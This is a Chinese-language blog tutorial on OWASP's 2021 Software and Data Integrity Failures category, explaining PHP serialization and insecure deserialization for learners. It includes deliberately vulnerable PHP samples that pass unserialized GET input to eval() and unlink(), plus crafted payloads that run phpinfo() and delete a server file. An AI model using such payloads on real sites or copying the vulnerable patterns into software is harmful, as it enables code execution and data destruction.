OWASP A8 Software and Data Integrity Failures(软件和数据完整性故障)
生活随笔
收集整理的這篇文章主要介紹了
OWASP A8 Software and Data Integrity Failures(软件和数据完整性故障)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Software and Data Integrity Failures(軟件和數據完整性故障)
這是在 2021 年中,增加的新的類別.
在之前 2017 年版本中,是不安全的反序列化,但在 2021 年版本中包含在其中了.
本文來講講序列化吧
就以 PHP 為例吧,實際上大部分面向對象語言的序列化思路也是如此
序列化,說簡單點就是把對象變成可以傳輸的字符串
下面是一段 PHP 代碼.可以達到簡單的序列化
class Demo{public $test="Hello,World!" }$s=new Demo(); $se=serialize($s);print_r($se)這時候就會有這種結果
O:4:“Demo”:1:{s:4:“test”;s:12:“Hello,World!”;
從左到右依次分析
/* O:代表object 4:是對象名稱長度 Demo:對象名稱 1:代表對象里面有一個變量 s:數據類型 4:變量名稱長度 test:變量名稱 s:數據類型 12:變量長度 Hello,World!:變量值 */反序列化也是很好理解的
class Demo{public $test="Hello,World!" }$classtest = 'O:4:"Demo":1:{s:4:"test";s:12:"Hello,World!";'$unclasstest = unserialize($classtest);//當使用 __wakeup() 成員函數當然還有很多魔法函數
__wakeup() //使用unserialize時觸發 __sleep() //使用serialize時觸發 __destruct() //對象被銷毀時觸發 __call() //在對象上下文中調用不可訪問的方法時觸發 __callStatic() //在靜態上下文中調用不可訪問的方法時觸發 __construct() //當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。 __get() //用于從不可訪問的屬性讀取數據 __set() //用于將數據寫入不可訪問的屬性 __isset() //在不可訪問的屬性上調用isset()或empty()觸發 __unset() //在不可訪問的屬性上使用unset()時觸發 __toString() //把類當作字符串使用時觸發 __invoke() //當腳本嘗試將對象調用為函數時觸發如果想要實現反序列化漏洞,那么應該有這么幾個條件
來個簡單的樣例
遠程代碼執行
<?php class person{var $name;function __construct($name){$this->name = $name;}function __destruct(){echo eval($this->name);} } $str = $_GET["obj"]; $p1 = unserialize($str); ?>我向網站后面只需要加入這么幾句
?obj=O:6:“person”:1:{s:4:“name”;s:10:“phpinfo();”;}
正常情況應該會顯示這么界面
遠程文件刪除
<?phpclass person{var $name;function __construct($name){$this->name = $name;}function __destruct(){unlink(dirname(__FILE__)."/".$this->name);}}$str = $_GET["obj"];$p1 = unserialize($str); ?>這是目前文件結構
我向網站輸入這么一句話
?obj=O:6:“person”:1:{s:4:“name”;s:5:“1.txt”;}
會報錯沒有此文件夾
在刪之前看一下文件夾有哪些
?obj=O:6:“person”:1:{s:4:“name”;s:8:“test.txt”;}
返回空白界面
再看眼文件夾,確實被刪除
這就是序列化的基本思路
距離過年還差5天
OWASP TOP10 也快要迎來完結了
但是學習之路是不會停止的
讓我們一起加油吧
總結
以上是生活随笔為你收集整理的OWASP A8 Software and Data Integrity Failures(软件和数据完整性故障)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 解决QTCF.Dll丢失问题
- 下一篇: 商务风个人职业生涯规划管理PPT模板